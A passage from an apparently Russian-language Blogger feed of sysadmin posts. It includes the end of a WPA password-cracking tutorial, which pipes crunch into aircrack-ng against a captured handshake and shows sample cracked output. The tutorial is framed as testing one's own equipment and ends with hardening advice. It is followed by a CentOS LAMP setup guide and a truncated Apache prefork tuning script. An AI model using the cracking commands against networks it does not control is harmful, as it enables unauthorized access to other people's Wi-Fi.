&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;./target-wifi-&lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;cap&amp;nbsp;&amp;nbsp;:Читаем файл в который мы записали&amp;nbsp;&lt;b style=&quot;font-family: Georgia, &#39;Times New Roman&#39;, serif; text-align: right;&quot;&gt;handshake&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; home-privat&amp;nbsp;:Указываем&amp;nbsp;ESSID&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-w&lt;/span&gt; -&amp;nbsp;:Читаем &lt;b&gt;wordlist&lt;/b&gt;&amp;nbsp;из стандартного потока ввода&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Перебирать пароли можно в несколько потоков, в том числе и на разных машинах. Соответственно на них так же должен быть установлен&amp;nbsp;&lt;b&gt;aircrack-ng&lt;/b&gt; и &lt;b&gt;crunch&lt;/b&gt;. Имеет смысл поиграть с разной длинной пароля, попробовать букво-циферные комбинации в высоком и&amp;nbsp;нижнем&amp;nbsp;регистре. Все возможные комбинации перечислены в файле&amp;nbsp;/pentest/passwords/crunch/charset.lst&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/pentest/passwords/crunch/crunch&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #44aadd;&quot;&gt;-f&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/pentest/passwords/crunch/charset.lst&lt;/span&gt; lalpha&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; aircrack-ng ./target-wifi-&lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;cap &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; home-privat &lt;span style=&quot;color: #44aadd;&quot;&gt;-w&lt;/span&gt; -
&lt;/pre&gt;
&lt;/blockquote&gt;
После запуска брутфорса вы увидите следующее окно с меняющимся значением в поле&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Current passphrase.&amp;nbsp;&lt;/b&gt;Когда перебор будет завершен, вы найдете там пароль от целевой системы.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background-color: #f1f0f0; background-position: initial initial; background-repeat: initial initial;&quot;&gt;&lt;div style=&quot;color: black; text-align: center;&quot;&gt;
Aircrack-ng &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #c00000;&quot;&gt;275280&lt;/span&gt; keys tested &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1278&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;70&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;k/s&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;


                       Current passphrase&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;b&gt;password&lt;/b&gt;


      Master Key     &lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;83&lt;/span&gt; 1B &lt;span style=&quot;color: #c00000;&quot;&gt;20&lt;/span&gt; A8 &lt;span style=&quot;color: #c00000;&quot;&gt;06&lt;/span&gt; 7F 5E &lt;span style=&quot;color: #c00000;&quot;&gt;32&lt;/span&gt; 1F 4A C7 &lt;span style=&quot;color: #c00000;&quot;&gt;84&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;23&lt;/span&gt; C1 BA &lt;span style=&quot;color: #c00000;&quot;&gt;78&lt;/span&gt;
                       E1 8E B2 C1 C8 0E &lt;span style=&quot;color: #c00000;&quot;&gt;07&lt;/span&gt; 8F &lt;span style=&quot;color: #c00000;&quot;&gt;99&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;28&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;75&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;21&lt;/span&gt; 4E &lt;span style=&quot;color: #c00000;&quot;&gt;93&lt;/span&gt; E4

      Transient Key  &lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; D5 0D &lt;span style=&quot;color: #c00000;&quot;&gt;28&lt;/span&gt; DF BB &lt;span style=&quot;color: #c00000;&quot;&gt;76&lt;/span&gt; 8B 2E 4B &lt;span style=&quot;color: #c00000;&quot;&gt;09&lt;/span&gt; F0 E9 &lt;span style=&quot;color: #c00000;&quot;&gt;73&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;76&lt;/span&gt; 1C 5A
                       &lt;span style=&quot;color: #c00000;&quot;&gt;95&lt;/span&gt; AF 6A D2 BA &lt;span style=&quot;color: #c00000;&quot;&gt;77&lt;/span&gt; 9F DD 7B &lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;99&lt;/span&gt; E7 A3 &lt;span style=&quot;color: #c00000;&quot;&gt;15&lt;/span&gt; D6 8D
                       1A &lt;span style=&quot;color: #c00000;&quot;&gt;47&lt;/span&gt; CB A4 &lt;span style=&quot;color: #c00000;&quot;&gt;98&lt;/span&gt; C5 B9 &lt;span style=&quot;color: #c00000;&quot;&gt;93&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;32&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;09&lt;/span&gt; 0C E2 &lt;span style=&quot;color: #c00000;&quot;&gt;73&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;54&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;74&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;86&lt;/span&gt;
                       D4 CB F3 A6 4D F3 6F FE &lt;span style=&quot;color: #c00000;&quot;&gt;75&lt;/span&gt; 6F FC 6F EB &lt;span style=&quot;color: #c00000;&quot;&gt;40&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;50&lt;/span&gt; DD

      EAPOL HMAC     &lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 9D 5E &lt;span style=&quot;color: #c00000;&quot;&gt;31&lt;/span&gt; AA FD &lt;span style=&quot;color: #c00000;&quot;&gt;03&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;69&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;61&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;41&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;94&lt;/span&gt; 9C &lt;span style=&quot;color: #c00000;&quot;&gt;08&lt;/span&gt; B1 C0 &lt;span style=&quot;color: #c00000;&quot;&gt;60&lt;/span&gt; 7F
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Теперь по скорости, в поле&amp;nbsp;keys tested: указана скорость, с которой идет перебор вы можете рассчитать сколько потребуется времени для подбора вашего пароля на ресурсе&amp;nbsp;&lt;a href=&quot;http://lastbit.com/pswcalc.asp&quot;&gt;http://lastbit.com/pswcalc.asp&lt;/a&gt;. Например пароль из 8-ми знаков в нижнем регистре будет подбираться около 6-ти лет =))&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx-VNW-7PjIdbN68LqR6tAFy8MiSLxLX00L9tdWQNy8rydyPZEuM-VaN5q0queL6p3qVMv9VcICegbZze9qnhV3f61F8rJWtk9bn6w6drTE5k7-BGPWEsMAFIxMBdaRUYxO53GZZVhBXyF/s1600/Screenshot+from+2012-09-23+16:16:06.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;125&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx-VNW-7PjIdbN68LqR6tAFy8MiSLxLX00L9tdWQNy8rydyPZEuM-VaN5q0queL6p3qVMv9VcICegbZze9qnhV3f61F8rJWtk9bn6w6drTE5k7-BGPWEsMAFIxMBdaRUYxO53GZZVhBXyF/s320/Screenshot+from+2012-09-23+16:16:06.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
а пароль из 8ми символов в обоих регистрах + цифры будет подбираться 5490 лет&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoGTIW2XCEcMfNJ3pnirYAz7I51Tw42ZRlGhzlT0k6bSF1kgNuzcYpEQC4ed1EXa-psgG8ta0kjjg4ijHbUKc0LTiSujdSTq5MUCe_lz8p8gIUKgRk82wqtNkXTB-7aAskiVbi48o0C71M/s1600/Screenshot+from+2012-09-23+16:25:44.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoGTIW2XCEcMfNJ3pnirYAz7I51Tw42ZRlGhzlT0k6bSF1kgNuzcYpEQC4ed1EXa-psgG8ta0kjjg4ijHbUKc0LTiSujdSTq5MUCe_lz8p8gIUKgRk82wqtNkXTB-7aAskiVbi48o0C71M/s320/Screenshot+from+2012-09-23+16:25:44.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Вывод: для обеспечения более высокой стойкости сети вам необходимо использовать длинные пароли в верхнем и нижнем регистре. Так же, чтобы оградиться от атак по словарю, стоит испрользовать WPA-Enterprise, для защиты которого используется Extensible Authentication Protocol (EAP) В этом случае аутоинтоксикация будет происходить при помощи RADIUS сервера.&lt;br /&gt;
&lt;br /&gt;
Так же не стоит забывать про уязвимость Hole196. Если при использовании WPA/WPA-Enterprise один паролей был скомпрометирован, то есть вероятность перехвата данных. Для избежания утечки информации используйте OpenVPN туннель поверх Wi-Fi&lt;span style=&quot;font-family: sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19.200000762939453px;&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=17d53e79-072e-42ef-a723-640976262f76&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/6202447970279878147/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/wepwpawpa2.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6202447970279878147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6202447970279878147'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/wepwpawpa2.html' title='WEP/WPA/WPA2 - Тестируем на стойкость к проникновению своё оборудование'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx-VNW-7PjIdbN68LqR6tAFy8MiSLxLX00L9tdWQNy8rydyPZEuM-VaN5q0queL6p3qVMv9VcICegbZze9qnhV3f61F8rJWtk9bn6w6drTE5k7-BGPWEsMAFIxMBdaRUYxO53GZZVhBXyF/s72-c/Screenshot+from+2012-09-23+16:16:06.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-8745029860526052365</id><published>2012-09-19T02:16:00.001+07:00</published><updated>2012-09-19T02:16:12.621+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Apache"/><category scheme="http://www.blogger.com/atom/ns#" term="Apache HTTP Server"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="LAMP"/><category scheme="http://www.blogger.com/atom/ns#" term="LAMP (software bundle)"/><category scheme="http://www.blogger.com/atom/ns#" term="MySQL"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Red Hat"/><category scheme="http://www.blogger.com/atom/ns#" term="RHEL"/><title type='text'>CentOS LAMP чуть больше чем в две строчки</title><content type='html'>&lt;div&gt;
Устанавливаем &lt;b&gt;httpd&lt;/b&gt;.&lt;/div&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;yum install -y httpd mysql &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.mysql.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;MySQL&quot;&gt;mysql-server&lt;/a&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.php.net/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;PHP&quot;&gt;php&lt;/a&gt; php-cli&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 php-mysql php-common php-curl php-gd php-&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Mcrypt&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Mcrypt&quot;&gt;mcrypt&lt;/a&gt; php-&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.hardened-php.net/suhosin/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Suhosin&quot;&gt;suhosin&lt;/a&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
Записываем виртуалхост.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/httpd/conf/httpd.conf&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;NameVirtualHost *:80&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;Directory /opt/www/example.com&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllowOverride All&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DocumentRoot /opt/www/example.com/&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ServerName example.com&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ErrorLog logs/example.com-error_log&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CustomLog logs/example.com-access_log common&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
Создадим директорию сайта.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;mkdir &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/opt/www/example.com&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Запишем httpd в автозагрузку и запустим сервис.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;chkconfig --level &lt;span style=&quot;color: #c00000;&quot;&gt;345&lt;/span&gt; httpd on
service httpd start
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=e23bd68f-b08f-4966-a0a0-7d1e6082c623&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/8745029860526052365/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/centos-lamp.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8745029860526052365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8745029860526052365'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/centos-lamp.html' title='CentOS LAMP чуть больше чем в две строчки'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-8848971773066919731</id><published>2012-09-19T01:59:00.000+07:00</published><updated>2012-09-19T02:00:46.672+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Apache"/><category scheme="http://www.blogger.com/atom/ns#" term="Apache HTTP Server"/><category scheme="http://www.blogger.com/atom/ns#" term="AWK"/><category scheme="http://www.blogger.com/atom/ns#" term="LAMP (software bundle)"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Servers"/><category scheme="http://www.blogger.com/atom/ns#" term="WWW"/><title type='text'>Рассчитываем параметры prefork.c для Apache в Linux</title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Apache_HTTPD.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;English: Logo for the Apache HTTPD Server Proj...&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;84&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/0/04/Apache_HTTPD.gif/300px-Apache_HTTPD.gif&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 300px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Не так давно мне пришлось настраивать &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;LAMP (software bundle)&quot;&gt;LAMP&lt;/a&gt; кластер с балансером несколькими WEB нодами и одной базой данных. В отличие от не больших сайтов с низкой загруженностью,&amp;nbsp;крупным проектам нужна более детальная настройка. В этой статье я собираюсь рассказать о настройке лишь одного модуля под названием&amp;nbsp;prefork.c это один из нескольки&amp;nbsp;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Multiprocessing&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Multiprocessing&quot;&gt;multi-processing&lt;/a&gt; модулей для &lt;a class=&quot;zem_slink&quot; href=&quot;http://httpd.apache.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Apache HTTP Server&quot;&gt;Apache httpd&lt;/a&gt; и самый распространённый по ряду причин. Во время своих изысканий, я перерыл очень много документации и статей в интернете основная часть которых сводилась к тому, что параметры prefork.c&amp;nbsp;для каждого хоста следует выбирать тестовым путём. Вышеуказанное заявление не лишено смысла, универсальных настроек не существует, но оно не решает основной задачи:&lt;b&gt; а что же делать конкретно мне прямо сейчас&lt;/b&gt;, особенно в условиях продакшн сервера. Я решил попытаться ответить на этот вопрос, и сделать максимально простое и универсальное средство для решения этой задачи.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Основная задача&amp;nbsp;prefork.c это научить Apache обрабатывать большое количество запросов в несколько потоков, ведь чем больше&amp;nbsp;параллельно&amp;nbsp;обрабатываемых запросов, тем быстрее и больше запросов будет обработано. Но не стоит забывать что если мы запустим слишком много параллельных потоков, то мы выберем все ресурсы сервера и наш сервер не сможет с должной скоростью обрабатывать запросы, а в худшем случае вообще перестанет отвечать.&lt;br /&gt;
&lt;br /&gt;
Чтобы выжать из системы максимум, и избежать&amp;nbsp;эксцессов нужно учесть несколько факторов:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Количество ОЗУ на сервере&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Сколько памяти в процентах мы готовы пожертвовать Apache&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Сколько кушает в среднем один htttpd&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Сколько мы можем запустить параллельно httpd чтобы не превысить пункт (2)&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
Формула&amp;nbsp;расчёта максимального количества пользователей Apache выглядит примерно так:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
((&quot;вся папять&quot;-&quot;25%&quot;)/(&quot;вся память использованная для всех процессов httpd&quot;/&quot;количество httpd процессов&quot;))&lt;/blockquote&gt;
Для успешной работы скрипта у вас в системе должна быть установлена утилита &lt;b&gt;bc&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Приступим.&lt;br /&gt;
Запишите скрипт&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; apache_prefork&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;sh &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;TotalMem=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(free -m | grep Mem | &lt;a class=&quot;zem_slink&quot; href=&quot;http://cm.bell-labs.com/cm/cs/awkbook/index.html&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;AWK&quot;&gt;awk&lt;/a&gt; &#39;{ print &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;2 }&#39;)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;HttpMem=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(ps aux | &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Grep&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Grep&quot;&gt;egrep&lt;/a&gt; &#39;httpd|apache2&#39; | grep -v grep | awk &#39;{sum +=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;6}; END {print sum}&#39;)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;HttpCount=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(ps aux | egrep &#39;httpd|apache2&#39; | grep -v grep | wc -l)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;Http1tread=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;HttpMem/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;HttpCount/1024&quot; | bc)&lt;/span&gt;
